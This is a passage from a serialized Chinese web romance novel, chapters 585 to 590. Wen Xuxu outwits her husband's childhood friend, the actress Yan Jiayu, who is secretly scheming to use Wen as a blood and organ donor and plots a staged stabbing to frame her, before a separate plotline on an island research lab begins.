她有些娇俏的扶着后腰露出一副疲惫之态:“实在不好意思啊颜影后,刚才我和阿笙有事在忙所以开门开的晚了些。”她说罢又捂着嘴唇“羞涩”似的笑了笑,那副惺惺作态看的颜佳雨想骂句不要脸。 温栩栩把她往病房内引,视线却时不时的扫向颜佳雨:“颜影后跟阿笙青梅竹马关系这么好也该知道阿笙身体不好需要住院休养,江先生他们昨晚就来医院看望过没敢打扰阿笙休息只放了礼品就走了,怎么颜影后却是空手来的?” 一句话把颜佳雨往尴尬境地引了去。 昨晚韩城韩越那些人当然着急都守在医院里等结果,等医生说明情况又知道黎云笙需要静养这才没打搅他但当天就派人送了不少名贵的药材到医院。 颜佳雨是为什么来的温栩栩稍微动动脑袋就能猜到。 第585章 是挑衅 她想到昨晚黎云笙遭的苦受的罪又想到如果昨晚真被他们这得逞现今黎氏会把控在谁手中而黎云笙又会被关在什么地方内心便涌动着怨气怒意。 现在黎云浩被江夜回关起来颜佳雨知道着急了来看黎云笙? 不,也不该说是来看黎云笙,准确说是来求黎云笙放过黎云浩顺便来探望黎云笙死没死才对。 颜佳雨扯了扯唇角;“我和云笙之间不在意这些,送与不送礼品我们关系都是最好的。” 温栩栩“哦”了一声爬到病床上,脚脚伸进被子里,方才下床走了一遭脚丫又凉的跟冰块似的。 她却使坏的放到男人腿上暖着,男人被她凉的身体一僵却听她欢快的哼哼着十分舒坦,又笑着钻进被子里由着男人一条手臂搂住自己的腰。 她动作自然不知道私下里在黎云笙面前是不是一直都这样,还是只现在作秀一样给她看。 颜佳雨还是维持着笑意,温栩栩却亲昵的蹭蹭男人的脖颈“唔”了一声。 “实在不好意思啊,刚才一直躺在床上特别舒服,不过颜小姐来的不凑巧,现在你进门了我也不拿你当外人继续在床上也是没问题的对吧。”温栩栩说着边扬扬眉笑容十分得意。 男人鼻尖嗅到的是她身上的淡淡香气,其中还裹挟着他身上的气味,两相交缠更让他有些沉沦其中。 温栩栩手跟男人的十指紧扣着把玩还不忘记回颜佳雨之前的话;“你和阿笙关系固然好,可看望住院的友人带上点礼品也算是有心了,颜小姐这只身前来我倒觉得你对阿笙半点不上心了。” 颜佳雨真想冲过去把温栩栩从黎云笙怀里撕下来怒吼黎云笙是她的是她的是她的! 颜佳雨嗓音干涩;“我是对云笙很上心一闲下来就想来探望云笙,只是……” “好了好了。”温栩栩笑着挑眉;“你若是真的在乎阿笙昨晚就该来医院看望何必等到现在呢?无非是昨晚你在为黎云浩的事走动,一晚过去黎云浩还没有被放出来所以你慌了开始着急才想到这件事只有阿笙能帮你解决所以才十分伤心的来探望阿笙希望阿笙原谅黎云浩并找林先生把他放出来,我说的对吗。” “……”本来已经酝酿好该如何跟黎云笙示弱演戏博取同情的颜佳雨一瞬间卡壳了,她呆了一呆机械道;“不是这样的……我是来看望云笙的。” “我说的不对吗?那颜小姐等一下就不要提到你那心狠手辣不择手段诡计多端的未婚夫黎云浩好吗?如果颜小姐真要提到他,那我不得不怀疑颜小姐来究竟是来探望阿笙还是借着给黎云浩求情顺便来探望阿笙卖惨求饶了。” 温栩栩看她这副不知道该如何的模样内心掀起一抹冷笑。 黎云笙眸光微闪,手臂力道大了几分将女人紧紧的搂在怀中,目光却带着审视和探究的望着颜佳雨,那眼神让人内心发慌。 一句一句都被温栩栩堵死了,颜佳雨对上男人迫人的眼神此刻心如刀绞更觉难堪至极。 她什么时候再黎云笙面前出过这种丑? 在他眼里颜佳雨一直都是完美的温柔的绝不会是这种心机女人,都怪温栩栩,全都怪温栩栩! 颜佳雨尖利的指甲狠狠扣了一下肩上的背包,镶满钻的奢华背包掉了几颗小钻她也浑然不知,只是仍然温柔笑着。 “温栩栩,我跟云笙是一起长大的好友,我跟他之间的事应该不需要你一个外人来过问才对,不如你先出去给我和云笙留出点时间让我们好好谈一谈好吗?你在这里总是打乱我的思绪呢。” 这话就差直说你一个情人玩物也配插在他们之间胡搅蛮缠胡说八道。 温栩栩又笑起来,笑的十分艳丽夺目。 她凑在黎云笙耳边小声嘀咕了两句,男人沉默片刻点了点头她眼睛更弯了。 她笑够了才勾弄着自己的长发询问;“所以你看到我和阿笙抱了亲了睡了现在还在一张床上却觉得我仍然是个外人不配过问你们的事也不配心疼他?颜小姐啊颜小姐,阿笙这些年找过女人吗?跟别人亲热过吗?包过谁当情人呢?他洁身自好干干净净的怎么偏就遇到了我就愿意碰我这么个玩意儿当情人了?” 当然因为你的血和你的心脏!因为他要把你困在他身边为我换心换血拯救我!不然你以为云笙为什么会把你这样的人留在身边! 颜佳雨当然知道温栩栩能留在黎云笙身边的原因,黎云浩都查清楚了,温栩栩是最适合给她做配型的人。 颜佳雨内心激动的骂着,可她面上却是不解的望着温栩栩好像真的什么都不清楚什么都不知晓。 “影后就是影后,明明心里恨毒了我估计想拿刀捅了我面上却是这副懵懂的样子,你能拿那奖也真是凭实力拿的。”温栩栩嘲了一句;“一个人一天二十四小时对谁都在演戏那演技想不精湛都不可能呢。” 她扭头在男人下巴上亲了一口;“我记得我跟你说过我跟阿笙是一起睡觉的关系。可惜在颜小姐眼里应当从没有把我放在眼里,所以颜小姐只觉得我是阿笙身边一个小宠物小玩具呢,不过可惜了。” 温栩栩叹了一口气;“我不是你口中那个外人也不是阿笙的小宠物,我是阿笙的合法伴侣合法配偶,我们之间的关系是受法律保护的。” 看到颜佳雨震惊的表情温栩栩笑意愈发浓了;“简单点来解释就是……我是阿笙的妻子,我呢可以称呼他为先生,老公,理解了吗。” 她像是十分天真真的只想为她答疑解惑解释两人之间的关系,半点都瞧不见折磨着颜佳雨。 颜佳雨身体微颤,竟像是遭受到伤害,她无比震惊的看着病床上的两人只觉得心慌意乱,更多的是满脑子的不敢置信。 不可能的事。 怎么可能呢? 温栩栩怎么可能是黎云笙的妻子?温栩栩这样的人哪里配嫁给黎云笙? 第586章 他真的把她当妻子吗 黎云笙可不是温栩栩这种人能高攀的!那明明是她爱的人,他分明也最爱她怎么可能娶别的女人,他该活着爱她一辈子直到死! 颜佳雨震惊的久久说不出话,她想到方才温栩栩凑在黎云笙耳边低语,那就是在询问可不可以把两人关系告诉她吗?他竟然不再遮掩真的告诉她了? 他到底在不在乎温栩栩,温栩栩真的只是她的替身和血库吗?他难道不是看温栩栩长得像她才把她留在身边吗?那又怎会给她这么尊贵的身份? 一个血库……一个低贱卑劣的血库却先她一步成了黎氏集团的总裁夫人!她凭什么呢? 颜佳雨脑子嗡嗡作响,她好慌好怕。 如果黎云笙真的喜欢了温栩栩真的在乎温栩栩那温栩栩还能做她的血库吗?她的心还是她的吗,她还能彻底恢复健康吗?他答应她的,他答应过她的,怎么能食言,怎么能食言! 颜佳雨面上的表情彻底兜不住了,她眼神惶然的望着两人,牙齿却都快咬碎了。 她控制了许久才哑着嗓子问道;“你们真的结婚了吗,为什么没有举办婚礼呢。” 她在问他们两个人,目光却带着伤痛的望着黎云笙,似乎眼神都在询问着“为什么”。 黎云笙敛眉移开视线沉声道;“温栩栩想进圈当演员所以目前不适合办婚礼,以后我会为她补办。” 这话更像是一把隔空的利剑戳着她的心窝,像是嫌她不够疼一样一剑接一剑的戳着。 补办?你还真的把她当妻子吗? 那是我的血库,那是我的血库! 颜佳雨内心愤恨不平的呐喊,可她还是只能面上笑着;“云笙你早该告诉我你们结婚了,如果你早告诉我,我也不会一直把温栩栩当外人了。” 温栩栩桃花眼闪过一抹狡黠的光。 她盯着颜佳雨嗤笑一声;“我不是早告诉过你我们之间是一起睡觉的关系吗?是你把阿笙想的太肮脏认为阿笙会是那种游戏人间的男人。像阿笙这种人不会跟异性有什么不清不楚的关系,他只会跟恋人跟伴侣亲密。” 她摊开手一副无辜的模样;“所以你瞧,我们早把我们的关系告诉你了呢。” 颜佳雨垂眸,眼眸中闪过一抹阴狠,却还是酝酿了片刻怯声道;“是我的错,是我在这圈子里看多了那些事所以知道温栩栩你是圈内人就一时想的多了些。” 温栩栩无所谓的笑笑;“没事没事,你看网络上你那么多脑残粉骂我我不也没当回事吗,你跟他们我都不放在心上。” 这话说的就差没骂一句颜佳雨你跟你粉丝一样都是些不入流的渣滓。 温栩栩瞧着她僵硬的脸色心情更好;“颜小姐现在还觉得我是外人需要出去给你和阿笙留时间聊天吗?” 颜佳雨被她恶心了一遭话题又转了回去,她是一开始就不想单独离开给她时间跟黎云笙聊天所以才说了这么些有的没的讽刺她。 颜佳雨内心给温栩栩狠狠的记上一笔;“你当然不是外人……” 温栩栩又笑;“所以如果颜小姐是我,一个女人整天在你面前耀武扬威做出一副正宫姿态还口口声声说她跟你的丈夫一起长大青梅竹马两小无猜有很多你不知道小秘密,那你会毫不担心的由着这个女人跟你的丈夫私下见面谈心吗。” 温栩栩深深的望着颜佳雨意有所指;“如果颜小姐能同意她们见面,那颜小姐可真是圣人。” 颜佳雨久久不能言语,不知道自己该用什么来堵住温栩栩的嘴。 男人微垂眸;“温栩栩,你先出去。” 颜佳雨眸中掠过一抹意色,温栩栩却半点没有不痛快只耍赖似的在男人颈窝蹭了蹭;“又是这样呢,颜小姐比我都要重要哦。” 她玩笑似的爬下床踩上高跟鞋扶着墙站起身,离开之际却又歪着脑袋含笑看了颜佳雨几秒;“颜小姐,我老公这么在乎你,希望你不要做什么伤害我老公的事才好。” 说完这话本是该走的,可她像是轻叹了一声转身眨着眼睛看向黎云笙。 黎云笙对着她面上并没有什么表情,温栩栩贴近他的耳朵吹了口热气;“你总提起江恒,瞧,我们也算两清了。” 她眼睛一弯笑起来的样子颇有几分得意,她挑逗一般红唇印在黎云笙狭长的眼尾,暧昧的气息缠绕在两人身旁,黎云笙喉结滚动制住她乱摸的手;“别闹了。” “青梅来了竟然闹都不肯让我闹了,也不知道刚才是谁一直在同我‘闹’呢。” 她着重点了点最后的闹字,桃花眼夹了黎云笙一眼,又把脑袋埋进黎云笙颈窝像是满足又像是可惜的蹭了蹭;“好了,我这就不闹了,跟你的青梅好好聊。” 温栩栩直起身,她走动间都自带几分风流韵味,路过颜佳雨喉间溢出一声笑。 她在笑我?她竟然在笑我? 颜佳雨觉得不可置信,直到病房门被关上颜佳雨才真正回过神。 她抬头正对上黎云笙那双墨染般的瞳眸,他那双眼睛像是能看穿一切,分明眼神并不犀利,只是淡淡的望着她就让她心间一紧有种被黎云笙拿捏住的错觉。 “云笙,温栩栩是不是不太喜欢我。”颜佳雨斟酌着自己该如何提及黎云浩,自温栩栩说那那些话后现在她再提起黎云浩实在是太惹眼更像应了温栩栩那话。 她头皮发麻黎云笙仍是那副淡然处之的模样似乎她说出什么都不会在意。 “你的粉丝一直在攻击她。”他声音没什么温度算是解释温栩栩讨厌她的原因。 颜佳雨扯了扯唇角;“我的确有一些不太理智的粉丝,其实我也不是很能控制住她们。”她这话说的带了点歉意,但是不是真的有歉意就要另说。 她转着话题;“你喝了那加料的酒身体肯定不舒服,这几天要注意饮食好好休养,如果公司没什么要紧事就在医院养几天。”她十分体贴。 黎云笙眼神微变,身上骇人的气息压都压不住。 “佳雨,你来找我总是有事需要我做,在我面前你不必说其他的。”他一句话揭穿她的伪装,一双黑眸如炬的盯着她。 第587章 演戏 颜佳雨心里打着鼓红了眼眶。 她还是开口了。 “是,我来找你总是有事要求你的,可云笙我也不想这样的……我身边没有可以求的人更没有可以信的人,出了事我第一个想到的除了你再没别人。我不找你我还能找谁,唯一给我安全感能让我完全相信的只有一个你啊。” 她说的情真意切心里也是这样想的,出了事能找谁呢? 心里最先想到的就是黎云笙,那是她可以无条件信任的男人,是她从小到大最爱的人,是她唯一的退路。 “我知道你心里在怨我,昨晚那事所有人都在说是云浩做的,你自然因为这事恨上云浩也不再相信我,可这件事我是绝不知情的。” “如果我知晓我一定会提前告诉你让你免于这场算计。我知道因为我是他的未婚妻你不再信我,我今天来看你你也觉得我有所图谋。” 她哭出声;“可云笙,他是我的未婚夫,我未来是要嫁给他的,我不来见你不来求你放过他还能去找谁呢?难道我就因为这种事跟他分开吗?你要外人怎么看我怎么议论我?因未婚夫出了点小事就立刻取消婚约那我是个什么形象?所有人都要骂我的,你忍心看我被网暴吗。” 她哭着道歉;“云笙,就像温栩栩说的那样,我昨晚的确没能来看你一直在为云浩求人,我是没了别的路可走才来找你,如果不是无计可施我怎么能求到你身边让你去帮仇人。” 她手揪着胸口的裙子哽咽;“云笙,我真的没办法了,你帮帮我帮帮你大哥让江先生放了他好不好……” 黎云笙静默的看着面前满脸泪水的女人,突然觉得十分陌生。 好像少年时期陪在他身边为她挡去伤害驱走寂寞的跟眼前的人并非一个,她像是换了个灵魂活在这世界上就只是为了依附压榨他。 她好像从不去想这样做他会不会遭到反噬会落得怎样的报复,她只这样哭着用以前的情意绑架她。 “佳雨。”黎云笙狭长幽深的眸略过一抹说不清的戾意;“这次他给我的酒中放了东西为的什么你应该清楚吧。” 颜佳雨神情僵了片刻。 黎云笙声音沉冷;“只要我还是黎氏集团的总裁黎家现任家主他就会一直骚扰我用尽各种下作手段逼我让出家主的位置逼着黎氏易主。” “这次是酒中加了别的东西想逼我被关进精神病院,那下次是不是想要我这条命?等到那时你是不是还要替他求情求我放过他,一次次的求我放了他直到他抢了我的位置直到我被他逼死,是吗。” 黎家私生子太多,但黎家真正承认的只有黎云浩和黎云笙。 黎云浩为了争权夺势用尽下作手段不惜一切代价只为成为黎家继承人,这样的人一旦放他自由他势必韬光养晦卷土重来,届时恐怕就不是酒里加料这么简单,可能会直接要了他的命。 到那时命都没了他还怎么跟黎云浩争继承权?最后还不是被他全权夺了去? “不是的,我不想的,我想你好好的,我想你们都好好的。”颜佳雨扑上前去伸手握住他的手臂泪水扑簌簌的往下落;“云笙你信我,等云浩出来后我一定会劝他,黎家继承人只会是你,我不会让他肖想那些不属于他的东西。你说的那些事绝不会发生的。” 她一字一句说的真切,心里的火早漫出来。 你明知道霸着这位置云浩会想尽一切办法夺权那为什么不让位?你为什么不能让云浩成为黎家家主!谁不想当继承人?谁不想争谁不想抢? 他抬眸,神色平静且坦然,无波无澜的望着眼前的女人,看她一直落泪,眼神倏而闪烁。 他拂开颜佳雨的手,微微勾起了唇,笑的温柔,只那笑意有些刺眼。 “佳雨,没有下一次了。” 颜佳雨哭声戛然而止,她心里抓挠的难受。 没有下一次了,是说以后遇到任何事再求到他面前来他都不会再帮她了? 不,不会的,她跟云笙一起长大他一定没办法不管她。 她一阵失神;“云笙你……你同意帮云浩了对吗。” 她终还是问出来。 黎云笙凝神看她许久声音仍然温柔;“当然,我会帮他。” 颜佳雨捂住嘴像是控制不住一般眼泪滚落的愈发多;“对不起云笙,对不起,我知道我这样对不起你……可我没办法,云浩是我的未婚夫,我怎么能不帮他……” 黎云笙并不说话只仍旧唇角含笑的望着她,只那看她的眼神已经有了几分疏离陌生之意。 颜佳雨抹着泪,黎云笙下逐客令;“我累了。” 她愣着神嗓音干哑;“嗯……是,你昨晚就没休息好,是该好好休息的,我不该打搅你这么长时间,我这就走了。” 颜佳雨往外走去,直至走到门口才站在原地内心犹如惊涛骇浪袭过。 云笙刚才的眼神不对,他是不是真的对她失望了。 她在原地踟蹰片刻想到侯在门外跟黎云笙领证的女人终于闭着眼睛狠了心背对着黎云笙问道;“云笙你说过会给我一个健康的身体,你没忘对吗。” 黎云笙幽暗深邃的眸中闪过一丝暴戾,目光变得冰冷阴鸷;“当然,我没忘。” 颜佳雨像是松了一口气;“我等着你兑现少年时的承诺。” 房门被重新关上,房内静下来像是没了人声,只能偶尔听到窗外风吹树叶的飒飒声。 窗外的阳光漫过窗棂爬进病房内照在黎云笙脸上,他低着头,眸光晦深阴暗不带丝毫暖意,哪怕是阳光也不能带给他半分温暖。 黎云笙生在黎家那样的家庭,他渴望亲情渴望友情甚至渴望爱情,说来可笑,明明是个薄情的人接收到的是这种薄情甚至狠辣的教育被养成个魔鬼一般的少年,可阴暗的内心还想藏匿阳光。 他为什么那么看重黎家家业希望继承黎家成为黎家真正的家主?为了不被人欺负,为了捍卫自己作为嫡系血脉的尊严,还有为了守护自己想守护的人。 少年时期心里藏着的那个人初见时就如冬日暖阳照亮内心一方天地带来了温暖的光束。 第588章 真是丑到我了 当初是颜佳雨说:“为什么我没有出生在大家族呢,如果我也是大家族嫡系血脉就不会被人看不起。” 他很想告诉她并不是所有大家族的嫡系血脉都能过的多幸福,他们多是被拘束着活的像是被关起来的罪犯一样。 可他附和她:“你不是大家族的血脉一样可以活的很精彩。” 是她说:“我的未婚夫一定要是大家族继承人,能给我最大的安全感。” 他听了也记下来了所以他一定要成为黎家家主,因为他记得他的女孩少年时期说过这样才能给她最大的安全感。 他一点点褪去孱弱的青涩,为了那足够的安全感变得成熟硬朗,在旁人面前他冰冷无情只有在她面前才会变得温柔。 可是她最终还是选择了黎云浩,她羡慕大家族嫡系血脉却选了一个私生子 ,她说未婚夫要是大家族继承人却选了一个自私卑劣永远不可能有继承权的私生子。 颜佳雨为什么会选黎云浩?她真的因为那所谓的爱吗? 他们自小一起长大他当然了解颜佳雨,就是因为了解他才知道颜佳雨是利己主义者,她绝不可能因为爱而选择黎云浩,她选黎云浩仅仅是因为他那时出了车祸身体孱弱所以她放弃他选了黎云浩。 他不蠢,他看的清清楚楚,从那一刻他的女孩放弃他选了别人。 他时常想自己的女孩是纯洁的,他不该把她想的那么自私那么恶毒,可事实证明他想的没有错。 她选了黎云浩却一次次利用她在娱乐圈打压其他人抢夺资源成为顶流背着他扶持黎云浩。 他算什么呢?大概前期没有出车祸的他是最好的选择,可他为了让黎家人放松警惕一直传出身体病弱的消息,她便信了,便一意孤行选择黎云浩。 就像她当初说的,她要选一个能给她带来安全感的大家族继承人,一个身体孱弱的人怎么带给她安全感? 他也想过或许有一天颜佳雨会后悔离开黎云浩,所以他即便治好了腿也没有告诉任何人,一方面是为了防黎家其他人,另一个原因则是因为颜佳雨。 可颜佳雨眼里心里终归只有她自己,只要他在外仍然是身体孱弱的形象就永远不会在备选名单中,甚至连备胎都算不上。 黎云笙讥嘲勾唇,连备胎都不是,那他是什么?被她攻击掉落装备的大boss?只等给她和黎云浩掉落装备继承权吗。 他自然该当机立断斩断跟她的联系,可少年时期都是她陪着一路走来,他付出的感情怎么能是轻易就斩断的,说到底她还是她放在心底的人。 他自嘲一声,念及颜佳雨离开前提到的事。 给她一个健康的身体,她若想健康那就势必要伤害到另一个人。 男人鹰隼般锋利的眸略过一抹异色。 颜佳雨和温栩栩他似乎只会选择前者,他唇角自嘲的笑意弧度冷意更甚。 …… 颜佳雨离开病房谨慎小心的打探周围,一眼瞥见走廊窗户旁倚靠着个人,她肩上披着的不知道哪里来的女式外套颇有些清闲的翻看一本书,听到关门的声响才胎膜扫她一眼。 “有事我老公,无事未婚夫的颜影后终于谈完了?” 颜佳雨单独对上温栩栩便没了那弱势之感:“温栩栩,没有人教过你礼貌吗。” 温栩栩沐浴在秋日的阳光下眯着眼睛笑了:“我自然知道什么事礼貌,可对着一个整天粘着我老公的小三我还以礼相待不是疯就是蠢。倒是我想问颜影后又知不知道什么是礼义廉耻,别是在国外待久了尽把国外的风流浪荡学了个尽。” “风流浪荡?”颜佳雨不为所动意味深长:“你是在说你自己?圈内谁不知道你跟江恒夜阑之间不清不楚,有时间来说我不如管好你自己。” 温栩栩也不恼,只是拊掌连笑了几声,她合上书踩着高跟鞋婀娜多姿“哒哒”走近颜佳雨,毫不掩饰眼眸中的得意上下打量她几眼。 “优秀的女性无论婚前婚后单身与否都会有男士前仆后继不肯放弃的追求示爱。颜影后不懂我不怪你,毕竟以颜影后的姿容身材……的确不够格。” 她皱了皱鼻子轻笑一声,声音很小却足够让颜佳雨听到:“真是丑到我了。” 颜佳雨终于忍不下去正要爆发,温栩栩一手扶住她的肩膀像是无奈一般摇了摇头:“颜影后才冲着我病房内的先生哭着求着示弱,现在见了他妻子又要高声怒骂了?这是个什么道理呢。” “你最好清楚一件事,你是他的妻子,但不会一直是他的妻子,不要太得意忘形了。”颜佳雨就听不得这些,只要温栩栩提到她是黎云笙的妻子她便忍不住。 温栩栩嗤笑一声:“我为什么要想那么长远,哪怕以后真的跟他离婚那我也会占个前妻的名头,你又算是他什么人?青梅吗。”她眼神都透露出几分蔑视之意。 颜佳雨低头眼神透着几分阴冷,她不再跟温栩栩多费口舌之争,温栩栩却握住她一条手臂制住她离开的动作。 她这副姿态实在慵懒悠闲,阳光打在她身上格外偏爱似的像给她渡上一层温暖的柔光,整个人都在这之中多了一层朦胧美感。 颜佳雨看的心惊眼底戾色隐约突显。 “哦,实在是不好意思,一时看你有些不顺眼没控制住自己的手。” 她看似是带着歉意的松开手,却取出一片湿巾擦拭着掌心指尖,活像刚才碰到的颜佳雨身上带着什么传染病。 颜佳雨攥紧皮包:“那温小姐以后可要控制好你自己的手,你可要清楚不是谁的手都能随意抓的。” 温栩栩失笑嘲讽:“我当然知道分寸,像你这种一天二十四小时都在装优雅的人自然没那个胆子甩开我跟我在这里争吵,我抓你的手腕就是想要欺负你。” 她“呵”了一声湿巾丢进垃圾桶宛若把眼前的大号不可降解的垃圾也丢了进去。 颜佳雨气到心口一震一震的疼,她呼吸都急促了几分终是狠狠瞪她一眼。 第589章 温栩栩的命是她的 温栩栩站在原地看着她逃离的匆忙背影无端扯了扯唇,她回到方才一直倚靠的地方继续看书,带着凉意的风吹过抚弄她的发梢笼罩在周围,她慵懒的略略朝外看。 她盯着楼下医院内种的那颗叫不上名字的却已然光枯的树。 这样的风对他们无疑是残忍的,只轻轻吹过就落了一地残叶堆在树池中,厚厚一层阳光一照像是金黄色的软绒地毯,可细看才知那里没有什么生机,只是一片破败荒芜罢了。 颜佳雨离开医院上了车,经纪人早就候在一旁,见她红着眼睛十分虚弱的模样一时有些难言不知该说些什么。 从她上车开始情绪就不好,甚至一直问起温栩栩入圈后的资源问题,从女团综艺到客串的大电影再到黎煌娱乐的剧,经纪人说的越多颜佳雨的心就越慌。 黎云笙真的只把温栩栩当她的替身吗? 如果真的只是替身何必做这么多?就只是补偿也不需要时时刻刻关注她! 是,温栩栩那副模样又日日伴着他又会那些勾人手段,那能有几个男人控制得住那颗心? 颜佳雨无声无息的流泪,她死死的重重的喘息却不忘记盯着手机屏幕上有关温栩栩的新闻消息贴文,越看越难受却还是受虐一样控制不住自己。 云笙一直对她予取予求为什么这次却说是最后一次,是什么原因,是不是因为温栩栩在他身边说了什么他才会有这么大的改变。 颜佳雨心口发疼,在绝望中挣扎。 他说了会给她一个健康的身体,可他现在又这么在乎温栩栩,他是打算给她找其他新鲜血库供体吗……不,她就要温栩栩,她只要温栩栩,她这种人绝不能活在世上,她要她的这条命,只要她活着她就必须死。 他必然是更在乎她的,温栩栩怎么配他看重呢温栩栩不配! 只转瞬之间,颜佳雨通红的双眼就闪烁着一抹阴狠的冷笑,她又缓了片刻,像是累的狠了对经纪人说道:“你帮我找一个靠谱的人陪我演一出戏捅我一刀或者把我从楼梯上推下去,让人拍到我流血的画面把我送进医院去。” 经纪人一直注意着她怕她因为黎云浩那事着急上火,冷不丁听到颜佳雨说的话一时没反应过来,待她想了片刻才明白过来,语气也有些不自然。 “你……你又要用那一招了?佳雨,我知道你不喜欢温栩栩,但我们不能总是这样无缘无故的让她放血,如果总这样,以后你身体真的出了事需要血被她察觉出端倪怎么办?这事我们还是算了吧。” 她是颜佳雨的经纪人固然是站在颜佳雨这头的,但温栩栩跟她无冤无仇坦白来讲她还挺欣赏温栩栩的,若不是她跟颜佳雨签署了独份合约又陪了她这么多年两人情同姐妹他还真想把温栩栩也签下来带一带。 可眼下颜佳雨和温栩栩杠上,以前为了确认温栩栩是不是她的血库供体就故意做了出车祸的假象,可这次又是因为什么? 颜佳雨捂住自己那双闪烁恨意的眼睛声音夹杂哭腔:“我也不想这样,可我今天去见云笙温栩栩就在一旁一直说我的坏话一直不停的说,你是知道我跟云笙一起长大云笙做什么事总是依着我的,可这次因为温栩栩他竟然对我说这是最后一次……” 经纪人心头一凉却也觉得黎云笙这么说似乎并也没说错。 昨晚黎云浩那件事真成了那黎云笙现在已经在精神病院了,黎氏都易主了,偏偏颜佳雨还去求黎云笙放过黎云浩,这种事情任谁都不可能大度到没一点气就把人放了。 黎云笙能给她最后一次机会已经算是看在往日情分了。 经纪人只敢心里想想却也不说出来怕惹得她不快。 颜佳雨捂着心口露出那双哭红的眼睛脸上还挂满泪珠:“我今天问起云笙他是不是还记得承诺过给我健康的身体,他迟疑了,他竟然迟疑了……” “你该知道温栩栩就是最新鲜的供体,那个能救我命的人就在咫尺之间他却迟疑了,如果我不试这一次我真的怕他更看重温栩栩不肯救我,我想要健康的身体,我不想一直这样病恹恹的……” 经纪人心跳加速,她面上的笑都有些僵硬了 。 她是陪了颜佳雨几年知道颜佳雨身体孱弱一直希望有个健康的身体所以知道温栩栩能救她就十分看重这机会,可再如何那都是一条活生生的人命。 她简直像是一个魔鬼,一个人要多狠才能这么清楚需要一个人一命换一命后还能自然的在圈内对她下手。 她那时分明猜到黎云笙捧温栩栩可能只因为这是在完成温栩栩的心愿,可颜佳雨却冷酷残忍到这点心愿都不愿让她完成在圈内不停雇人踩她更是事事针对温栩栩。 她分明知晓温栩栩以后会没命,那条命会换给她,可她就这样不用缓冲的接受了,甚至把温栩栩的命看成自己的。 温栩栩的血温栩栩的肾温栩栩的心脏都被她看做是她自己的私有物,她可怕到这种地步。 就算这些年受够了这病弱的身体,可温栩栩欠她的吗,凭什么要让温栩栩用这条命偿还,还理所当然的不把温栩栩当人看只当她是新鲜的血库供体。 她喉间发堵,她为什么会变成现在这样。 她分明哭的楚楚可怜惹人怜惜,可她这哭声中可能伴着一条人命,如果这哭声也能化作攻击,恐怕这哭声乃至颜佳雨强烈求生的意念都会化作最残忍的利器剜去温栩栩的肾和心。 颜佳雨对经纪人的心思一概不知,她还在哭着:“是云笙承诺过的会给我一个健康的身体,温栩栩人就在这里,她不能迟疑,他必须要救我。我没办法的,我只能做这个实验我要看云笙还在不在乎我,我要看温栩栩还是不是我的供体……” 颜佳雨用纸巾擦着脸上的眼泪:“你能理解我的对吗。” 第590章 阿愿最重要 她要怎么理解? 就连她这样冷清冷心的人如果知道对方未来会因为自己而死都会心生愧疚对她多加补偿满足她最后的心愿,可面前的人却接受的毫无顾忌。 经纪人跟随她多年,哪怕是心里被吓到了面上却是一副忧愁模样。 “你会帮我的对吗。”颜佳雨沙哑着嗓子问她。 经纪人有些不自然的扭头看向车外:“是,我会帮你。” 颜佳雨止住泪意捂着心口:“墨一定要找一个家里面有妻有子的男人做这种事,那个男人最好有案底犯了事在被警方追捕,我们可以把他家人送出去给他们一笔钱让他来办这件事。” 经纪人呼吸一滞,颜佳雨已经把后面的事都打算好了,她一点都不害怕,想来是在医院就想到这样报复温栩栩。 经纪人直视颜佳雨闪烁的眼眸:“佳雨,温栩栩以后会因为你没命,在她还活着的这段时间我们不要再跟她作对了,让她活的开心点好吗。” 颜佳雨扯了扯唇角:“当然,确定过这件事后我一定会好好对她。” 经纪人内心忐忑慌乱,她趴伏在方向盘之上。 她心里清楚自己跟颜佳雨是绑在一条绳上的人,她没办法拒绝。 这些年为了颜佳雨她没少做害人的事,如果现在退却单一个颜佳雨就能让她生不如死,她只能选择一条路走到黑走到死。 经纪人合上眼此刻也有种自己患了心脏病的错觉。 车厢内一阵寂静,陡然颜佳雨开口道:“你记得花钱雇的那个人要扮做温栩栩的粉丝,是温栩栩的粉丝捅了我,这件事不能略过温栩栩。” 经纪人不敢置信的睁开眼睛,眼底一片浑浊:“你到底为什么要这样做,你演这一出戏很可能造成温栩栩失血过多一周甚至半个月身体虚弱,为什么这样还不行还要让那人假扮她的粉丝伤害你!”她高声带上了怒意。 颜佳雨眸光闪了闪:“云笙只说没忘记承诺会给我一个健康的身体但是我担心他对温栩栩动心给我换了血库供体,她今天招惹了我总不能就这样轻松过去。” “你是我的人,你不能心疼温栩栩。”颜佳雨盯着经纪人不放,眼底隐隐闪烁冷茫:“她就是个活的新鲜的供体,为什么要把她看做活物。” 经纪人只觉不可理喻,却被她这阴森的眼神盯得浑身发麻终是没有继续挣扎反驳 。 …… 国内黎家出事时,盛景炎已经到了国外苏青莲的小岛上。 唐文晞安排妥当,到了小岛早就有保镖迎上来,盛景炎眸色淡淡的看着眼前的小岛,眼底略过一抹凉意。 “我带你去全息实验室,苏女士和许愿应该在那里。” 盛景炎没有停顿跟随唐文晞去到全息实验室,也看到了苏青莲研究制造的全息舱。 他突然就明白,为什么国内很多人将苏青莲看作是科技之光。 “苏女士让许愿进入到唐先生的精神世界不光是想要刺激唐先生尽快醒过来,也是希望许愿能够跟唐先生近距离接触。” “苏女士知道自己不是称职的母亲,但她想让许愿知道她还是有一个称职的爱她的父亲。” “进入到精神世界后按照原定时间流速,最快也要三个月才能从精神世界中出来,所以现在只能调快进度,否则许愿不能在约定时间内醒来。” 唐文晞将大概情况解释给盛景炎。 “调快进度,阿愿一定不希望自己失言。” 盛景炎清楚许愿的性子。 唐文晞自然不会反对,命令研究人员加快时间流速后才让人准备了饭菜。 “可以尝尝这里的海味,味道还是很不错的。” 盛景炎面上没什么表情,倒是唐文晞主动开口。 “介意跟我说一说许愿的事吗。”唐文晞笑了笑:“说起来,我也算是许愿的哥哥了,所以会想多了解她一些。” 盛景炎眸光冷淡:“我不认为阿愿会希望自己多些被养在自己母亲身边的哥哥姐姐。” 许愿自己都是被许镇江散养的,不被人爱不被人在乎。 可偏偏面前的人却能留在苏青莲身边长大,她怎么可能不在乎? 唐文晞顿了下:“我明白你的意思,换做是我,大抵也会如此。” “不过我没有恶意,我跟她解释过,她接受了我的说法,或许你也可以等她出来后看她待我的态度再考虑是否可以告诉我与她相关的事。” “如果等她出来后她还是无法接受我们,那我们兄妹三人也不会继续出现在许愿面前。” 他如此通情达理,盛景炎态度也好了许多。 唐文晞问道:“你这样随我来这里,不担心盛世出事?” 